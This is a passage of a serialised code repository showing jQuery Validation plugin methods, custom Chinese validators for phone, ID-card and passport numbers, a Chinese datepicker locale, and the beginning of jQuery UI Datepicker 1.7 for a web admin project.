function(value, element, param) {\r\n\t\t\t// check if dependency is met\r\n\t\t\tif ( !this.depend(param, element) )\r\n\t\t\t\treturn \"dependency-mismatch\";\r\n\t\t\tswitch( element.nodeName.toLowerCase() ) {\r\n\t\t\tcase 'select':\r\n\t\t\t\t// could be an array for select-multiple or a string, both are fine this way\r\n\t\t\t\tvar val = $(element).val();\r\n\t\t\t\treturn val && val.length > 0;\r\n\t\t\tcase 'input':\r\n\t\t\t\tif ( this.checkable(element) )\r\n\t\t\t\t\treturn this.getLength(value, element) > 0;\r\n\t\t\tdefault:\r\n\t\t\t\treturn $.trim(value).length > 0;\r\n\t\t\t}\r\n\t\t},\r\n\t\t\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Methods/remote\r\n\t\tremote: function(value, element, param) {\r\n\t\t\tif ( this.optional(element) )\r\n\t\t\t\treturn \"dependency-mismatch\";\r\n\t\t\t\r\n\t\t\tvar previous = this.previousValue(element);\r\n\t\t\tif (!this.settings.messages[element.name] )\r\n\t\t\t\tthis.settings.messages[element.name] = {};\r\n\t\t\tprevious.originalMessage = this.settings.messages[element.name].remote;\r\n\t\t\tthis.settings.messages[element.name].remote = previous.message;\r\n\t\t\t\r\n\t\t\tparam = typeof param == \"string\" && {url:param} || param; \r\n\t\t\t\r\n\t\t\tif ( previous.old !== value ) {\r\n\t\t\t\tprevious.old = value;\r\n\t\t\t\tvar validator = this;\r\n\t\t\t\tthis.startRequest(element);\r\n\t\t\t\tvar data = {};\r\n\t\t\t\tdata[element.name] = value;\r\n\t\t\t\t$.ajax($.extend(true, {\r\n\t\t\t\t\turl: param,\r\n\t\t\t\t\tmode: \"abort\",\r\n\t\t\t\t\tport: \"validate\" + element.name,\r\n\t\t\t\t\tdataType: \"json\",\r\n\t\t\t\t\tdata: data,\r\n\t\t\t\t\tsuccess: function(response) {\r\n\t\t\t\t\t\tvalidator.settings.messages[element.name].remote = previous.originalMessage;\r\n\t\t\t\t\t\tvar valid = response === true;\r\n\t\t\t\t\t\tif ( valid ) {\r\n\t\t\t\t\t\t\tvar submitted = validator.formSubmitted;\r\n\t\t\t\t\t\t\tvalidator.prepareElement(element);\r\n\t\t\t\t\t\t\tvalidator.formSubmitted = submitted;\r\n\t\t\t\t\t\t\tvalidator.successList.push(element);\r\n\t\t\t\t\t\t\tvalidator.showErrors();\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\tvar errors = {};\r\n\t\t\t\t\t\t\tvar message = (previous.message = response || validator.defaultMessage( element, \"remote\" ));\r\n\t\t\t\t\t\t\terrors[element.name] = $.isFunction(message) ? message(value) : message;\r\n\t\t\t\t\t\t\tvalidator.showErrors(errors);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tprevious.valid = valid;\r\n\t\t\t\t\t\tvalidator.stopRequest(element, valid);\r\n\t\t\t\t\t}\r\n\t\t\t\t}, param));\r\n\t\t\t\treturn \"pending\";\r\n\t\t\t} else if( this.pending[element.name] ) {\r\n\t\t\t\treturn \"pending\";\r\n\t\t\t}\r\n\t\t\treturn previous.valid;\r\n\t\t},\r\n\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Methods/minlength\r\n\t\tminlength: function(value, element, param) {\r\n\t\t\treturn this.optional(element) || this.getLength($.trim(value), element) >= param;\r\n\t\t},\r\n\t\t\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Methods/maxlength\r\n\t\tmaxlength: function(value, element, param) {\r\n\t\t\treturn this.optional(element) || this.getLength($.trim(value), element) <= param;\r\n\t\t},\r\n\t\t\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Methods/rangelength\r\n\t\trangelength: function(value, element, param) {\r\n\t\t\tvar length = this.getLength($.trim(value), element);\r\n\t\t\treturn this.optional(element) || ( length >= param[0] && length <= param[1] );\r\n\t\t},\r\n\t\t\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Methods/min\r\n\t\tmin: function( value, element, param ) {\r\n\t\t\treturn this.optional(element) || value >= param;\r\n\t\t},\r\n\t\t\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Methods/max\r\n\t\tmax: function( value, element, param ) {\r\n\t\t\treturn this.optional(element) || value <= param;\r\n\t\t},\r\n\t\t\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Methods/range\r\n\t\trange: function( value, element, param ) {\r\n\t\t\treturn this.optional(element) || ( value >= param[0] && value <= param[1] );\r\n\t\t},\r\n\t\t\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Methods/email\r\n\t\temail: function(value, element) {\r\n\t\t\t// contributed by Scott Gonzalez: http://projects.scottsplayground.com/email_address_validation/\r\n\t\t\treturn this.optional(element) || /^((([a-z]|\\d|[!#\\$%&'\\*\\+\\-\\/=\\?\\^_`{\\|}~]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])+(\\.([a-z]|\\d|[!#\\$%&'\\*\\+\\-\\/=\\?\\^_`{\\|}~]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])+)*)|((\\x22)((((\\x20|\\x09)*(\\x0d\\x0a))?(\\x20|\\x09)+)?(([\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]|\\x21|[\\x23-\\x5b]|[\\x5d-\\x7e]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(\\\\([\\x01-\\x09\\x0b\\x0c\\x0d-\\x7f]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF]))))*(((\\x20|\\x09)*(\\x0d\\x0a))?(\\x20|\\x09)+)?(\\x22)))@((([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])*([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])))\\.)+(([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])*([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])))\\.?$/i.test(value);\r\n\t\t},\r\n\t\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Methods/url\r\n\t\turl: function(value, element) {\r\n\t\t\t// contributed by Scott Gonzalez: http://projects.scottsplayground.com/iri/\r\n\t\t\treturn this.optional(element) || /^(https?|ftp):\\/\\/(((([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(%[\\da-f]{2})|[!\\$&'\\(\\)\\*\\+,;=]|:)*@)?(((\\d|[1-9]\\d|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d|[1-9]\\d|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d|[1-9]\\d|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d|[1-9]\\d|1\\d\\d|2[0-4]\\d|25[0-5]))|((([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])*([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])))\\.)+(([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])*([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])))\\.?)(:\\d*)?)(\\/((([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(%[\\da-f]{2})|[!\\$&'\\(\\)\\*\\+,;=]|:|@)+(\\/(([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(%[\\da-f]{2})|[!\\$&'\\(\\)\\*\\+,;=]|:|@)*)*)?)?(\\?((([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(%[\\da-f]{2})|[!\\$&'\\(\\)\\*\\+,;=]|:|@)|[\\uE000-\\uF8FF]|\\/|\\?)*)?(\\#((([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(%[\\da-f]{2})|[!\\$&'\\(\\)\\*\\+,;=]|:|@)|\\/|\\?)*)?$/i.test(value);\r\n\t\t},\r\n        \r\n\t\t// http://docs.jquery.com/Plugins/Validation/Methods/date\r\n\t\tdate: function(value, element) {\r\n\t\t\treturn this.optional(element) || !/Invalid|NaN/.test(new Date(value));\r\n\t\t},\r\n\t\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Methods/dateISO\r\n\t\tdateISO: function(value, element) {\r\n\t\t\treturn this.optional(element) || /^\\d{4}[\\/-]\\d{1,2}[\\/-]\\d{1,2}$/.test(value);\r\n\t\t},\r\n\t\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Methods/number\r\n\t\tnumber: function(value, element) {\r\n\t\t\treturn this.optional(element) || /^-?(?:\\d+|\\d{1,3}(?:,\\d{3})+)(?:\\.\\d+)?$/.test(value);\r\n\t\t},\r\n\t\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Methods/digits\r\n\t\tdigits: function(value, element) {\r\n\t\t\treturn this.optional(element) || /^\\d+$/.test(value);\r\n\t\t},\r\n\t\t\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Methods/creditcard\r\n\t\t// based on http://en.wikipedia.org/wiki/Luhn\r\n\t\tcreditcard: function(value, element) {\r\n\t\t\tif ( this.optional(element) )\r\n\t\t\t\treturn \"dependency-mismatch\";\r\n\t\t\t// accept only digits and dashes\r\n\t\t\tif (/[^0-9-]+/.test(value))\r\n\t\t\t\treturn false;\r\n\t\t\tvar nCheck = 0,\r\n\t\t\t\tnDigit = 0,\r\n\t\t\t\tbEven = false;\r\n\r\n\t\t\tvalue = value.replace(/\\D/g, \"\");\r\n\r\n\t\t\tfor (var n = value.length - 1; n >= 0; n--) {\r\n\t\t\t\tvar cDigit = value.charAt(n);\r\n\t\t\t\tvar nDigit = parseInt(cDigit, 10);\r\n\t\t\t\tif (bEven) {\r\n\t\t\t\t\tif ((nDigit *= 2) > 9)\r\n\t\t\t\t\t\tnDigit -= 9;\r\n\t\t\t\t}\r\n\t\t\t\tnCheck += nDigit;\r\n\t\t\t\tbEven = !bEven;\r\n\t\t\t}\r\n\r\n\t\t\treturn (nCheck % 10) == 0;\r\n\t\t},\r\n\t\t\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Methods/accept\r\n\t\taccept: function(value, element, param) {\r\n\t\t\tparam = typeof param == \"string\" ? param.replace(/,/g, '|') : \"png|jpe?g|gif\";\r\n\t\t\treturn this.optional(element) || value.match(new RegExp(\".(\" + param + \")$\", \"i\")); \r\n\t\t},\r\n\t\t\r\n\t\t// http://docs.jquery.com/Plugins/Validation/Methods/equalTo\r\n\t\tequalTo: function(value, element, param) {\r\n\t\t\t// bind to the blur event of the target in order to revalidate whenever the target field is updated\r\n\t\t\t// TODO find a way to bind the event just once, avoiding the unbind-rebind overhead\r\n\t\t\tvar target = $(param).unbind(\".validate-equalTo\").bind(\"blur.validate-equalTo\", function() {\r\n\t\t\t\t$(element).valid();\r\n\t\t\t});\r\n\t\t\treturn value == target.val();\r\n\t\t}\r\n\t\t\r\n\t}\r\n\t\r\n});\r\n\r\n// deprecated, use $.validator.format instead\r\n$.format = $.validator.format;\r\n\r\n})(jQuery);\r\n\r\n// ajax mode: abort\r\n// usage: $.ajax({ mode: \"abort\"[, port: \"uniqueport\"]});\r\n// if mode:\"abort\" is used, the previous request on that port (port can be undefined) is aborted via XMLHttpRequest.abort() \r\n;(function($) {\r\n\tvar ajax = $.ajax;\r\n\tvar pendingRequests = {};\r\n\t$.ajax = function(settings) {\r\n\t\t// create settings for compatibility with ajaxSetup\r\n\t\tsettings = $.extend(settings, $.extend({}, $.ajaxSettings, settings));\r\n\t\tvar port = settings.port;\r\n\t\tif (settings.mode == \"abort\") {\r\n\t\t\tif ( pendingRequests[port] ) {\r\n\t\t\t\tpendingRequests[port].abort();\r\n\t\t\t}\r\n\t\t\treturn (pendingRequests[port] = ajax.apply(this, arguments));\r\n\t\t}\r\n\t\treturn ajax.apply(this, arguments);\r\n\t};\r\n})(jQuery);\r\n\r\n// provides cross-browser focusin and focusout events\r\n// IE has native support, in other browsers, use event caputuring (neither bubbles)\r\n\r\n// provides delegate(type: String, delegate: Selector, handler: Callback) plugin for easier event delegation\r\n// handler is only called when $(event.target).is(delegate), in the scope of the jquery-object for event.target \r\n;(function($) {\r\n\t// only implement if not provided by jQuery core (since 1.4)\r\n\t// TODO verify if jQuery 1.4's implementation is compatible with older jQuery special-event APIs\r\n\tif (!jQuery.event.special.focusin && !jQuery.event.special.focusout && document.addEventListener) {\r\n\t\t$.each({\r\n\t\t\tfocus: 'focusin',\r\n\t\t\tblur: 'focusout'\t\r\n\t\t}, function( original, fix ){\r\n\t\t\t$.event.special[fix] = {\r\n\t\t\t\tsetup:function() {\r\n\t\t\t\t\tthis.addEventListener( original, handler, true );\r\n\t\t\t\t},\r\n\t\t\t\tteardown:function() {\r\n\t\t\t\t\tthis.removeEventListener( original, handler, true );\r\n\t\t\t\t},\r\n\t\t\t\thandler: function(e) {\r\n\t\t\t\t\targuments[0] = $.event.fix(e);\r\n\t\t\t\t\targuments[0].type = fix;\r\n\t\t\t\t\treturn $.event.handle.apply(this, arguments);\r\n\t\t\t\t}\r\n\t\t\t};\r\n\t\t\tfunction handler(e) {\r\n\t\t\t\te = $.event.fix(e);\r\n\t\t\t\te.type = fix;\r\n\t\t\t\treturn $.event.handle.call(this, e);\r\n\t\t\t}\r\n\t\t});\r\n\t};\r\n\t$.extend($.fn, {\r\n\t\tvalidateDelegate: function(delegate, type, handler) {\r\n\t\t\treturn this.bind(type, function(event) {\r\n\t\t\t\tvar target = $(event.target);\r\n\t\t\t\tif (target.is(delegate)) {\r\n\t\t\t\t\treturn handler.apply(target, arguments);\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t}\r\n\t});\r\n})(jQuery);\r\n\r\n\r\n\t// 字符验证       \r\n\tjQuery.validator.addMethod(\"stringCheck\", function(value, element) {       \r\n \t    return this.optional(element) || /^[\\u0391-\\uFFE5\\w]+$/.test(value);       \r\n\t}, \"只能包括中文字、英文字母、数字和下划线\"); \r\n\t\r\n\tjQuery.validator.addMethod(\"noAndLetter\", function(value, element) {       \r\n \t    return this.optional(element) || /^[A-Za-z0-9]+$/.test(value);       \r\n\t}, \"只能包括中文字、英文字母、数字和下划线\"); \r\n \t  \r\n\t// 中文字两个字节       \r\n \tjQuery.validator.addMethod(\"byteRangeLength\", function(value, element, param) {       \r\n\t    var length = value.length;       \r\n\t    for(var i = 0; i < value.length; i++){       \r\n\t        if(value.charCodeAt(i) > 127){       \r\n \t        length++;       \r\n\t        }       \r\n\t    }       \r\n\t    return this.optional(element) || ( length >= param[0] && length <= param[1] );       \r\n\t}, \"请确保输入的值在3-15个字节之间(一个中文字算2个字节)\");   \r\n\t  \r\n\t// dateSet日期验证2012-12-12   \r\n\tjQuery.validator.addMethod(\"dateSet\", function(value, element) {  \r\n\t\t var dS =/^((?!0000)[0-9]{4}-((0[1-9]|1[0-2])-(0[1-9]|1[0-9]|2[0-8])|(0[13-9]|1[0-2])-(29|30)|(0[13578]|1[02])-31)|([0-9]{2}(0[48]|[2468][048]|[13579][26])|(0[48]|[2468][048]|[13579][26])00)-02-29)$/;     \r\n \t    return this.optional(element) || (dS.test(value));     \r\n \t}, \"XXX\"); \r\n\t  \r\n\t// 身份证号码验证       \r\n\tjQuery.validator.addMethod(\"isIdCardNo\", function(value, element) { \r\n\t  return this.optional(element) || idCardNoUtil.checkIdCardNo(value);     \r\n\t}, \"请正确输入您的身份证号码\"); \r\n\t//护照编号验证 \r\n\tjQuery.validator.addMethod(\"passport\", function(value, element) {\r\n\t\treturn this.optional(element) || checknumber(value);\r\n\t}, \"请正确输入您的护照编号\");   \r\n\t// 手机号码验证       \r\n\tjQuery.validator.addMethod(\"isMobile\", function(value, element) {       \r\n\t    var length = value.length;   \r\n\t    var mobile = /^(((13[0-9]{1})|(15[0-9]{1})|(18[0-9]{1}))+\\d{8})$/;   \r\n\t    return this.optional(element) || (length == 11 && mobile.test(value));       \r\n\t}, \"请正确填写您的手机号码\");       \r\n\t     \r\n\t// 电话号码验证       \r\n\tjQuery.validator.addMethod(\"isTel\", function(value, element) {       \r\n \t    var tel = /^(0[0-9]{2,3}\\-)?([2-9][0-9]{6,7})+(\\-[0-9]{1,4})?$/; //电话号码格式010-12345678-123(4)   \r\n\t    return this.optional(element) || (tel.test(value));       \r\n\t}, \"请正确填写您的电话号码\");   \r\n \t  \r\n \t// 联系电话(手机/电话皆可)验证   \r\n\tjQuery.validator.addMethod(\"isPhone\", function(value,element) {   \r\n\t    var length = value.length;   \r\n\t    var mobile = /^(((13[0-9]{1})|(15[0-9]{1})|(18[0-9]{1}))+\\d{8})$/;   \r\n\t    var tel = /^(0[0-9]{2,3}\\-)?([2-9][0-9]{6,7})+(\\-[0-9]{1,4})?$/;   \r\n \t    return this.optional(element) || (tel.test(value) || mobile.test(value));   \r\n \t  \r\n \t}, \"请正确填写您的联系电话\");   \r\n\t     \r\n\t// 邮政编码验证       \r\n\tjQuery.validator.addMethod(\"isZipCode\", function(value, element) {       \r\n\t    var tel = /^[0-9]{6}$/;       \r\n\t    return this.optional(element) || (tel.test(value));       \r\n \t}, \"请正确填写您的邮政编码\"); \r\n \tjQuery.validator.addMethod(\"compareDateTo\", function(value, element, param) {\r\n        var startDate = jQuery(param).val();\r\n        if(!value) return true;\r\n        if(startDate&&value){\r\n        \tvar arr1 = /^(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)$/g.exec(startDate);\r\n        \tvar arr2 = /^(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)$/g.exec(value);\r\n        \tvar date1 = new Date(Date.parse(arr1[2]+\"/\"+arr1[3]+\"/\"+arr1[1]));\r\n        \tvar date2 = new Date(Date.parse(arr2[2]+\"/\"+arr2[3]+\"/\"+arr2[1]));\r\n        }\r\n        return startDate&&value&&date1 < date2;\r\n\t},\"开始日期必须小于结束日期\");\r\n \t/*身份证验证开始*/\r\n \tvar idCardNoUtil = {\r\n\r\nprovinceAndCitys: {11:\"北京\",12:\"天津\",13:\"河北\",14:\"山西\",15:\"内蒙古\",21:\"辽宁\",22:\"吉林\",23:\"黑龙江\",\r\n31:\"上海\",32:\"江苏\",33:\"浙江\",34:\"安徽\",35:\"福建\",36:\"江西\",37:\"山东\",41:\"河南\",42:\"湖北\",43:\"湖南\",44:\"广东\",\r\n45:\"广西\",46:\"海南\",50:\"重庆\",51:\"四川\",52:\"贵州\",53:\"云南\",54:\"西藏\",61:\"陕西\",62:\"甘肃\",63:\"青海\",64:\"宁夏\",\r\n65:\"新疆\",71:\"台湾\",81:\"香港\",82:\"澳门\",91:\"国外\"},\r\n\r\n\r\npowers: [\"7\",\"9\",\"10\",\"5\",\"8\",\"4\",\"2\",\"1\",\"6\",\"3\",\"7\",\"9\",\"10\",\"5\",\"8\",\"4\",\"2\"],\r\n\r\n\r\nparityBit: [\"1\",\"0\",\"X\",\"9\",\"8\",\"7\",\"6\",\"5\",\"4\",\"3\",\"2\"],\r\n\r\n\r\ngenders: {male:\"男\",female:\"女\"},\r\n\r\n\r\ncheckAddressCode: function(addressCode){\r\nvar check = /^[1-9]\\d{5}$/.test(addressCode);\r\nif(!check) return false;\r\nif(idCardNoUtil.provinceAndCitys[parseInt(addressCode.substring(0,2))]){\r\nreturn true;\r\n}else{\r\nreturn false;\r\n}\r\n},\r\n\r\n\r\ncheckBirthDayCode: function(birDayCode){\r\nvar check = /^[1-9]\\d{3}((0[1-9])|(1[0-2]))((0[1-9])|([1-2][0-9])|(3[0-1]))$/.test(birDayCode);\r\nif(!check) return false;\r\nvar yyyy = parseInt(birDayCode.substring(0,4),10);\r\nvar mm = parseInt(birDayCode.substring(4,6),10);\r\nvar dd = parseInt(birDayCode.substring(6),10);\r\nvar xdata = new Date(yyyy,mm-1,dd);\r\nif(xdata > new Date()){\r\nreturn false;//生日不能大于当前日期\r\n}else if ( ( xdata.getFullYear() == yyyy ) && ( xdata.getMonth () == mm - 1 ) && ( xdata.getDate() == dd ) ){\r\nreturn true;\r\n}else{\r\nreturn false;\r\n}\r\n},\r\n\r\n\r\ngetParityBit: function(idCardNo){\r\nvar id17 = idCardNo.substring(0,17);\r\n\r\nvar power = 0;\r\nfor(var i=0;i<17;i++){\r\npower += parseInt(id17.charAt(i),10) * parseInt(idCardNoUtil.powers[i]);\r\n}\r\n\r\nvar mod = power % 11;\r\nreturn idCardNoUtil.parityBit[mod];\r\n},\r\n\r\n\r\ncheckParityBit: function(idCardNo){\r\nvar parityBit = idCardNo.charAt(17).toUpperCase();\r\nif(idCardNoUtil.getParityBit(idCardNo) == parityBit){\r\nreturn true;\r\n}else{\r\nreturn false;\r\n}\r\n},\r\n\r\n\r\ncheckIdCardNo: function(idCardNo){\r\n//15位和18位身份证号码的基本校验\r\nvar check = /^\\d{15}|(\\d{17}(\\d|x|X))$/.test(idCardNo);\r\nif(!check) return false;\r\n//判断长度为15位或18位\r\nif(idCardNo.length==15){\r\nreturn idCardNoUtil.check15IdCardNo(idCardNo);\r\n}else if(idCardNo.length==18){\r\nreturn idCardNoUtil.check18IdCardNo(idCardNo);\r\n}else{\r\nreturn false;\r\n}\r\n},\r\n\r\n//校验15位的身份证号码\r\ncheck15IdCardNo: function(idCardNo){\r\n//15位身份证号码的基本校验\r\nvar check = /^[1-9]\\d{7}((0[1-9])|(1[0-2]))((0[1-9])|([1-2][0-9])|(3[0-1]))\\d{3}$/.test(idCardNo);\r\nif(!check) return false;\r\n//校验地址码\r\nvar addressCode = idCardNo.substring(0,6);\r\ncheck = idCardNoUtil.checkAddressCode(addressCode);\r\nif(!check) return false;\r\nvar birDayCode = '19' + idCardNo.substring(6,12);\r\n//校验日期码\r\nreturn idCardNoUtil.checkBirthDayCode(birDayCode);\r\n},\r\n\r\n//校验18位的身份证号码\r\ncheck18IdCardNo: function(idCardNo){\r\n//18位身份证号码的基本格式校验\r\nvar check = /^[1-9]\\d{5}[1-9]\\d{3}((0[1-9])|(1[0-2]))((0[1-9])|([1-2][0-9])|(3[0-1]))\\d{3}(\\d|x|X)$/.test(idCardNo);\r\nif(!check) return false;\r\n//校验地址码\r\nvar addressCode = idCardNo.substring(0,6);\r\ncheck = idCardNoUtil.checkAddressCode(addressCode);\r\nif(!check) return false;\r\n//校验日期码\r\nvar birDayCode = idCardNo.substring(6,14);\r\ncheck = idCardNoUtil.checkBirthDayCode(birDayCode);\r\nif(!check) return false;\r\n//验证校检码\r\nreturn idCardNoUtil.checkParityBit(idCardNo);\r\n},\r\n\r\nformateDateCN: function(day){\r\nvar yyyy =day.substring(0,4);\r\nvar mm = day.substring(4,6);\r\nvar dd = day.substring(6);\r\nreturn yyyy + '-' + mm +'-' + dd;\r\n},\r\n\r\n//获取信息\r\ngetIdCardInfo: function(idCardNo){\r\nvar idCardInfo = {\r\ngender:\"\", //性别\r\nbirthday:\"\" // 出生日期(yyyy-mm-dd)\r\n};\r\nif(idCardNo.length==15){\r\nvar aday = '19' + idCardNo.substring(6,12);\r\nidCardInfo.birthday=idCardNoUtil.formateDateCN(aday);\r\nif(parseInt(idCardNo.charAt(14))%2==0){\r\nidCardInfo.gender=idCardNoUtil.genders.female;\r\n}else{\r\nidCardInfo.gender=idCardNoUtil.genders.male;\r\n}\r\n}else if(idCardNo.length==18){\r\nvar aday = idCardNo.substring(6,14);\r\nidCardInfo.birthday=idCardNoUtil.formateDateCN(aday);\r\nif(parseInt(idCardNo.charAt(16))%2==0){\r\nidCardInfo.gender=idCardNoUtil.genders.female;\r\n}else{\r\nidCardInfo.gender=idCardNoUtil.genders.male;\r\n}\r\n\r\n}\r\nreturn idCardInfo;\r\n},\r\n\r\n\r\ngetId15:function(idCardNo){\r\nif(idCardNo.length==15){\r\nreturn idCardNo;\r\n}else if(idCardNo.length==18){\r\nreturn idCardNo.substring(0,6) + idCardNo.substring(8,17);\r\n}else{\r\nreturn null;\r\n}\r\n},\r\n\r\n\r\ngetId18: function(idCardNo){\r\nif(idCardNo.length==15){\r\nvar id17 = idCardNo.substring(0,6) + '19' + idCardNo.substring(6);\r\nvar parityBit = idCardNoUtil.getParityBit(id17);\r\nreturn id17 + parityBit;\r\n}else if(idCardNo.length==18){\r\nreturn idCardNo;\r\n}else{\r\nreturn null;\r\n}\r\n}\r\n};\r\n//验证护照是否正确\r\nfunction checknumber(number){\r\nvar str=number;\r\n//在JavaScript中，正则表达式只能使用\"/\"开头和结束，不能使用双引号\r\nvar Expression=/(P\\d{7})|(G\\d{8})/;\r\nvar objExp=new RegExp(Expression);\r\nconsole.log(1);\r\nif(objExp.test(str)==true){\r\n   return true;\r\n}else{\r\n   return false;\r\n} \r\n};\r\n \t/*身份证验证结束*/\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/ui.datepicker-zh-CN.js",
    "content": "/* Chinese initialisation for the jQuery UI date picker plugin. */\r\n/* Written by Cloudream (cloudream@gmail.com). */\r\njQuery(function($){\r\n\t$.datepicker.regional['zh-CN'] = {\r\n\t\tcloseText: '关闭',\r\n\t\tprevText: '&#x3c;上月',\r\n\t\tnextText: '下月&#x3e;',\r\n\t\tcurrentText: '今天',\r\n\t\tmonthNames: ['一月','二月','三月','四月','五月','六月',\r\n\t\t'七月','八月','九月','十月','十一月','十二月'],\r\n\t\tmonthNamesShort: ['一','二','三','四','五','六',\r\n\t\t'七','八','九','十','十一','十二'],\r\n\t\tdayNames: ['星期日','星期一','星期二','星期三','星期四','星期五','星期六'],\r\n\t\tdayNamesShort: ['周日','周一','周二','周三','周四','周五','周六'],\r\n\t\tdayNamesMin: ['日','一','二','三','四','五','六'],\r\n\t\tdateFormat: 'yy-mm-dd', firstDay: 1,\r\n\t\tisRTL: false};\r\n\t$.datepicker.setDefaults($.datepicker.regional['zh-CN']);\r\n});\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/ui.datepicker.js",
    "content": "/*\r\n * jQuery UI Datepicker 1.7\r\n *\r\n * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)\r\n * Dual licensed under the MIT (MIT-LICENSE.txt)\r\n * and GPL (GPL-LICENSE.txt) licenses.\r\n *\r\n * http://docs.jquery.com/UI/Datepicker\r\n *\r\n * Depends:\r\n *\tui.core.js\r\n */\r\n\r\n(function($) { // hide the namespace\r\n\r\n$.extend($.ui, { datepicker: { version: \"1.7\" } });\r\n\r\nvar PROP_NAME = 'datepicker';\r\n\r\n/* Date picker manager.\r\n   Use the singleton instance of this class, $.datepicker, to interact with the date picker.\r\n   Settings for (groups of) date pickers are maintained in an instance object,\r\n   allowing multiple different settings on the same page. */\r\n\r\nfunction Datepicker() {\r\n\tthis.debug = false; // Change this to true to start debugging\r\n\tthis._curInst = null; // The current instance in use\r\n\tthis._keyEvent = false; // If the last event was a key event\r\n\tthis._disabledInputs = []; // List of date picker inputs that have been disabled\r\n\tthis._datepickerShowing = false; // True if the popup picker is showing , false if not\r\n\tthis._inDialog = false; // True if showing within a \"dialog\", false if not\r\n\tthis._mainDivId = 'ui-datepicker-div'; // The ID of the main datepicker division\r\n\tthis._inlineClass = 'ui-datepicker-inline'; // The name of the inline marker class\r\n\tthis._appendClass = 'ui-datepicker-append'; // The name of the append marker class\r\n\tthis._triggerClass = 'ui-datepicker-trigger'; // The name of the trigger marker class\r\n\tthis._dialogClass = 'ui-datepicker-dialog'; // The name of the dialog marker class\r\n\tthis._disableClass = 'ui-datepicker-disabled'; // The name of the disabled covering marker class\r\n\tthis._unselectableClass = 'ui-datepicker-unselectable'; // The name of the unselectable cell marker class\r\n\tthis._currentClass = 'ui-datepicker-current-day'; // The name of the current day marker class\r\n\tthis._dayOverClass = 'ui-datepicker-days-cell-over'; // The name of the day hover marker class\r\n\tthis.regional = []; // Available regional settings, indexed by language code\r\n\tthis.regional[''] = { // Default regional settings\r\n\t\tcloseText: 'Done', // Display text for close link\r\n\t\tprevText: 'Prev', // Display text for previous month link\r\n\t\tnextText: 'Next', // Display text for next month link\r\n\t\tcurrentText: 'Today', // Display text for current month link\r\n\t\tmonthNames: ['January','February','March','April','May','June',\r\n\t\t\t'July','August','September','October','November','December'], // Names of months for drop-down and formatting\r\n\t\tmonthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], // For formatting\r\n\t\tdayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 